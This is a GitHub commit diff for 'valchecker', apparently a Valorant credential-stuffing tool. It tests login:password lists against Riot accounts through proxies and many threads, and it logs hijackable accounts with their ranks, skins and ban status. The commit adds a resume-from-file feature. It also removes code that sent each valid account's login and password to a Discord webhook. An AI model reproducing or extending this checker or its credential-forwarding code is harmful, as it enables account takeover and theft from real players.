Skip to content

Commit

Permalink
v3.15 beta
Browse files Browse the repository at this point in the history
Deleted discord webhooks (I'm too lazy to fix them)
Now your valchecker checks will be saved to the .vlchkr file in the output/date folder!
Next time you start the checker, you will be able to continue checking from that file!

Warning: that is the test build. It does contain some bugs and does not contain some features the final release will.
Please report all the bugs you find using the issues page.
  • Loading branch information
LIL-JABA committed Jul 18, 2023
1 parent 2e73614 commit 12fb6b7
Show file tree
Hide file tree
Showing 8 changed files with 163 additions and 184 deletions.
2 changes: 1 addition & 1 deletion readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,4 +16,4 @@ Please leave a ⭐ if you like it
## [A Complete installation and usage guide](https://liljaba1337.gitbook.io/untitled/)


<a href="https://discord.gg/VbBfzAweRm"><img src="https://discordapp.com/api/guilds/1105384983385886791/widget.png?style=banner2"></a>
<a href="https://discord.gg/DYfCsZG5UX"><img src="https://discordapp.com/api/guilds/1105384983385886791/widget.png?style=banner2"></a>
2 changes: 0 additions & 2 deletions setup.bat
Original file line number Diff line number Diff line change
Expand Up @@ -3,11 +3,9 @@
pip install urllib3
pip install requests
pip install colorama
pip install valo_api
pip install pandas
pip install keyboard
pip install inquirerpy
pip install discord_webhook
pip install aiohttp

pause
164 changes: 53 additions & 111 deletions src/checker.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,14 +8,18 @@
from datetime import datetime
from os.path import exists

from tkinter import Tk
from tkinter.filedialog import askopenfilename
from colorama import Fore
from InquirerPy.separator import Separator
from InquirerPy import inquirer

from codeparts import auth, checkers, staff, systems
from codeparts import auth, checkers, stuff, systems
from codeparts.systems import vlchkrsource

check = checkers.checkers()
sys = systems.system()
stff = staff.staff()
stff = stuff.staff()


class simplechecker():
Expand All @@ -28,7 +32,6 @@ def __init__(self, settings: list, proxylist:list, version:str) -> None:
self.max_rlimits = settings['max_rlimits']
self.rlimit_wait = settings['rlimit_wait']
self.cooldown = int(settings['cooldown'])
self.webhook = settings['webhook'].replace(' ', '')
self.print_sys = bool(settings['print_sys'])
self.esttime = 'N/A'
self.newfolder = settings['new_folder']
Expand All @@ -39,37 +42,15 @@ def __init__(self, settings: list, proxylist:list, version:str) -> None:
else:
self.outpath = self.parentpath+'\\output'

wh_settings = str(settings['dw_settings'])
self.send_tempban = False
self.send_woskins = False
self.send_wfshorty = False
self.send_stats = False
self.send_ukreg = False
# input(wh_settings)
if 'tempbanned accounts' in wh_settings:
self.send_tempban = True
if 'accounts without skins' in wh_settings:
self.send_woskins = True
if 'accounts with only wayfinder shorty':
self.send_wfshorty = True
if 'stats (once per minute)' in wh_settings:
self.send_stats = True
if 'accounts with unknown region' in wh_settings:
self.send_ukreg = True
# print(self.send_stats,self.send_tempban,self.send_ukreg,self.send_wfshorty,self.send_woskins)

# input()

try:
import discord_webhook
except ModuleNotFoundError:
if self.webhook != '':
print('"pip install discord_webhook" to use your webhook')
input('press enter to continue without using the webhook')
self.webhook = ''
else:
pass

self.cpm = 0
self.startedcount = 0
self.cpmtext = self.cpm
Expand All @@ -85,6 +66,8 @@ def __init__(self, settings: list, proxylist:list, version:str) -> None:
self.rlimits = 0
self.riotlimitinarow = 0
self.count = 0
self.validlist = []
self.tempbannedlist = []

self.proxycount = len(proxylist) if self.proxylist != None else 0

Expand All @@ -99,31 +82,42 @@ def __init__(self, settings: list, proxylist:list, version:str) -> None:
self.regions = {'eu': 0, 'na': 0, 'ap': 0,
'br': 0, 'kr': 0, 'latam': 0, 'unknown': 0}

async def main(self, accounts, count):
if self.webhook == '':
self.whtext = f"{Fore.LIGHTRED_EX}Not using a webhook{Fore.RESET}"
else:
self.whtext = f'{Fore.LIGHTGREEN_EX}Using the webhook{Fore.RESET}'
async def main(self, accounts:list[str]=None, count:int=None, vlchkr:vlchkrsource=None):
self.count = count
os.system(f'mode con: cols=150 lines=32')

if vlchkr is not None:
vlchkr.loadfile()
self.checked = vlchkr.checked
self.valid = vlchkr.valid
self.banned = vlchkr.banned
self.tempbanned = len(vlchkr.tempbanned)
self.skins = vlchkr.wskins
self.unverifiedmail = vlchkr.umail
self.err = vlchkr.errors
self.retries = vlchkr.retries
self.rlimits = vlchkr.rlimits
self.count = len(vlchkr.tocheck)+vlchkr.checked
self.ranks = vlchkr.ranks
self.skinsam = vlchkr.skins
self.locked = vlchkr.locked
self.regions = vlchkr.regions
accounts = vlchkr.tocheck
count = len(vlchkr.tocheck)
else:
open(f'{self.outpath}\\record.vlchkr', 'w').close()
vlchkr = systems.vlchkrsource(f'{self.outpath}\\record.vlchkr')
vlchkr.savefile()

try:
self.threadam = int(input(
f'input number of threads (min 1 max 1000) (proxies: {self.proxycount}) >>>'))
except ValueError:
self.threadam = 1
self.threadam = self.threadam if 1000 > self.threadam > 0 else self.proxycount if self.proxycount > 1 else 3
menu_choices = [
Separator(),
'GUI',
'LOG (works better with threads)'
]
res = menu_choices[1]
self.uselog = True if res == menu_choices[2] else False
num = 0
self.startedtesting = sys.getmillis()
self.whtime = sys.getmillis()
if self.uselog == False:
self.printinfo()
self.printinfo()
if self.threadam <= 1:
for account in accounts:
#input(account)
Expand All @@ -148,6 +142,21 @@ async def main(self, accounts, count):
tasks.append(task)
#print(f'Added task for account {us}:{ps}. Current tasks: {len(tasks)}')
num += 1
vlchkr.checked = self.checked
vlchkr.valid = self.valid
vlchkr.banned = self.banned
vlchkr.tempbanned = self.tempbannedlist
vlchkr.wskins = self.skins
vlchkr.umail = self.unverifiedmail
vlchkr.errors = self.err
vlchkr.retries = self.retries
vlchkr.rlimits = self.rlimits
vlchkr.tocheck = accounts[num:]
vlchkr.ranks = self.ranks
vlchkr.skins = self.skinsam
vlchkr.locked = self.locked
vlchkr.regions = self.regions
vlchkr.savefile()
except:
print("Checked all")

Expand Down Expand Up @@ -303,6 +312,7 @@ def checker(self, username, password):

if account.banuntil != None:
self.tempbanned += 1
self.tempbannedlist.append(acc)
with open(f'{self.outpath}/tempbanned.txt', 'a', encoding='UTF-8') as file:
file.write(f'''
╔═════════════════════════════════════════════════════════════╗
Expand Down Expand Up @@ -343,6 +353,7 @@ def checker(self, username, password):
# sort
if banuntil == None:
self.valid += 1
self.validlist.append(acc)
bantext = ''
if rank != 'N/A' and reg != 'N/A':
if banuntil != None:
Expand Down Expand Up @@ -396,49 +407,6 @@ def checker(self, username, password):
{skinsformatted}
╚═════════════════════════════════════════════════════════════╝
''')
if self.webhook != '':
send_wh = True
if reg == 'N/A' and not self.send_ukreg:
send_wh = False

if skinscount == 1 and 'Wayfinder Shorty' in account.skins and not self.send_wfshorty:
send_wh = False

if banuntil != None and not self.send_tempban:
send_wh = False

if skinscount == 0 and not self.send_woskins:
send_wh = False

if send_wh == True:
from discord_webhook import (DiscordEmbed,
DiscordWebhook)
dcwebhook = DiscordWebhook(url=self.webhook)
embed = DiscordEmbed(
title='New valid account', color='34eb43')
if banuntil != None:
embed = DiscordEmbed(
title='New tempbanned account', color='ff4400')
embed.add_embed_field(
name='Ban Until', value=str(banuntil))
embed.set_author(name='ValChecker')
embed.set_timestamp()
embed.add_embed_field(
name='LogPass', value=account.logpass)
embed.add_embed_field(
name='Region', value=f'{reg} ({country})')
embed.add_embed_field(name='Rank', value=rank)
embed.add_embed_field(name='Level', value=lvl)
embed.add_embed_field(
name='Lastmatch', value=lastplayed)
embed.add_embed_field(
name='Full Access', value=unverifmail)
embed.add_embed_field(
name=f'VP / RP', value=f'{vp} / {rp}')
embed.add_embed_field(name=f'Skins ({skinscount}) ≈ {invprice} VP', value=account.skins if len(account.skins) != 0 else 'no skins')
dcwebhook.add_embed(embed)
response = dcwebhook.execute()
# input(response)

except Exception as e:
with open(f'{self.parentpath}/log.txt', 'a', errors='replace', encoding='utf-8') as f:
Expand All @@ -449,17 +417,13 @@ def checker(self, username, password):
if riotlimitinarow > 0:
self.inrlimit -= 1
riotlimitinarow = 0
if self.uselog == False:
self.printinfo()
else:
pass
self.printinfo()
time.sleep(self.cooldown)
break

def printinfo(self):
# get cpm
finishedtesting = sys.getmillis()
self.whtime = sys.getmillis()
if finishedtesting-self.startedtesting > 60000:

prevcpm = self.cpm
Expand All @@ -473,28 +437,6 @@ def printinfo(self):
else:
self.esttime = 'N/A'

if self.webhook != '' and self.send_stats and finishedtesting-self.whtime > 300000:
from discord_webhook import DiscordEmbed, DiscordWebhook
dcwebhook = DiscordWebhook(url=self.webhook)
embed = DiscordEmbed(title='Stats', color='686d75')
embed.set_author(name='ValChecker')
embed.set_timestamp()
embed.add_embed_field(
name='Checked', value=f'{self.checked}/{self.count}')
embed.add_embed_field(name='Valid', value=self.valid)
embed.add_embed_field(name='Banned', value=self.banned)
embed.add_embed_field(name='TempBanned', value=self.tempbanned)
embed.add_embed_field(name='RLimits', value=self.rlimits)
embed.add_embed_field(name='With Skins', value=self.skins)
embed.add_embed_field(
name='Unverifiedmail', value=self.unverifiedmail)
embed.add_embed_field(name='CPM', value=self.cpmtext)
embed.add_embed_field(
name='Est. Time Remaining', value=self.esttime)
dcwebhook.add_embed(embed)
response = dcwebhook.execute()
self.whtime = sys.getmillis()

reset = Fore.RESET
cyan = Fore.CYAN
green = Fore.LIGHTGREEN_EX
Expand All @@ -509,7 +451,7 @@ def printinfo(self):
{reset}
{sys.center('https://github.com/LIL-JABA/valchecker')}
{sys.center(f'Proxies: {cyan}{self.proxycount}{reset} | Threads: {cyan}{self.threadam}{reset} | Accounts: {cyan}{self.count}{reset} | Checked {Fore.YELLOW}{self.checked}{reset}/{Fore.YELLOW}{self.count}{reset} | {self.whtext}')}
{sys.center(f'Proxies: {cyan}{self.proxycount}{reset} | Threads: {cyan}{self.threadam}{reset} | Accounts: {cyan}{self.count}{reset} | Checked {Fore.YELLOW}{self.checked}{reset}/{Fore.YELLOW}{self.count}{reset}')}
{sys.progressbar(self.checked,self.count)}
{reset}
{cyan} ┏━ Main ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ ┏━━ Regions ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ ┏━━ Skins ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
Expand Down
28 changes: 3 additions & 25 deletions src/codeparts/fastcheck.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import os
from codeparts import systems,auth,staff
from codeparts import stuff, systems,auth
from datetime import datetime
import threading
import time
Expand All @@ -10,7 +10,7 @@
import ctypes

syst=systems.system()
stff=staff.staff()
stff=stuff.staff()
class fastcheck:
def __init__(self,accounts,count,settings:list,proxylist,useragent:str) -> None:
self.useragent = useragent
Expand All @@ -22,11 +22,9 @@ def __init__(self,accounts,count,settings:list,proxylist,useragent:str) -> None:
self.max_rlimits=settings['max_rlimits']
self.rlimit_wait=settings['rlimit_wait']
self.cooldown=int(settings['cooldown'])
self.webhook=settings['webhook'].replace(' ','')
self.print_sys=bool(settings['print_sys'])
self.esttime='N/A'
self.newfolder=settings['new_folder']
self.uploadwh=False
if self.newfolder=='True':
dtnw=str(datetime.now()).replace(' ','_').replace(':','.')
self.outpath=self.parentpath+f'\\output\\{dtnw}'
Expand All @@ -50,20 +48,13 @@ def __init__(self,accounts,count,settings:list,proxylist,useragent:str) -> None:

self.proxycount=len(proxylist) if self.proxylist != None else 0

self.whtext=f"{Fore.LIGHTRED_EX}Not using a webhook{Fore.RESET}"
self.count=count
os.system(f'mode con: cols=120 lines=25')
self.threadam=1
input(f'0 threads; {self.proxycount} proxies (enter to start) >>>')
self.threadam= self.threadam if 1000>self.threadam>0 else self.proxycount if self.proxycount > 1 else 3

def main(self):
if self.webhook != '':
if inquirer.confirm(
message="Do you want to receive all valid accounts in ur webhook?", default=True
).execute():
self.uploadwh=True
self.whtext=f'{Fore.LIGHTGREEN_EX}Using the webhook{Fore.RESET}'

self.startedtesting=syst.getmillis()
num=0
Expand Down Expand Up @@ -157,19 +148,6 @@ def checker(self,username:str,password:str):
if mailverif==True and banuntil==None:
self.unverifiedmail+=1

if self.uploadwh==True:
from discord_webhook import DiscordWebhook, DiscordEmbed
dcwebhook = DiscordWebhook(url=self.webhook)
embed = DiscordEmbed(title='New valid account', color='34eb43')
if banuntil!=None:
embed = DiscordEmbed(title='New tempbanned account', color='ff4400')
embed.add_embed_field(name='Ban Until',value=str(banuntil))
embed.set_author(name='ValChecker | FastCheck')
embed.set_timestamp()
embed.add_embed_field(name='LogPass', value=account)
embed.add_embed_field(name='Full Access', value=mailverif)
dcwebhook.add_embed(embed)
response=dcwebhook.execute()
if banuntil is None:
with open(f'{self.outpath}\\fastcheck_valid.txt','a',encoding='utf-8') as f:
f.write(account+'\n')
Expand Down Expand Up @@ -208,7 +186,7 @@ def printinfo(self):
{reset}
{syst.center('https://github.com/LIL-JABA/valchecker')}
Proxies: {cyan}{self.proxycount}{reset} | Threads: {cyan}{self.threadam}{reset} | Accounts: {cyan}{self.count}{reset} | Checked {Fore.YELLOW}{self.checked}{reset}/{Fore.YELLOW}{self.count}{reset} | {self.whtext}
Proxies: {cyan}{self.proxycount}{reset} | Threads: {cyan}{self.threadam}{reset} | Accounts: {cyan}{self.count}{reset} | Checked {Fore.YELLOW}{self.checked}{reset}/{Fore.YELLOW}{self.count}{reset}
{syst.progressbar(self.checked,self.count)}
{reset}
{Fore.MAGENTA} ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
Expand Down
File renamed without changes.
Loading

0 comments on commit 12fb6b7

Please sign in to comment.